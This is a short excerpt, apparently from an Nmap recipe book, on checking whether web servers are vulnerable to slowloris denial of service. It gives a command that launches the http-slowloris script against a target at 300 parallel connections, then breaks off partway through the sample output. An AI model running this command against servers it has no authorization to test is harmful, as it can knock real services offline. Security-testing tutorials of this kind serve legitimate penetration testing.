Detecting web servers vulnerable to slowloris denial of service attacks

The denial of service attack is very popular these days, and Nmap can help pentesters detect web servers that are vulnerable to these types of attacks. The "slowloris denial of service" technique is presumed to have been discovered by Adrian Ilarion Ciobanu back in 2007, but Rsnake released the first tool in DEFCON 17 proving that it affects several products, including Apache 1.x, Apache 2.x, dhttpd, and possibly many other web servers.

This recipe shows how to detect if a web server is vulnerable to slowloris DoS attacks by using Nmap.

How to do it...

To launch a slowloris attack against a remote web server with Nmap, use the following command:

# nmap -p80 --script http-slowloris --max-parallelism 300 <target>

The results include some attack statistics:

PORT   STATE SERVICE REASON                                                                                        
80/tcp open  http    syn-ack
| http-slowloris...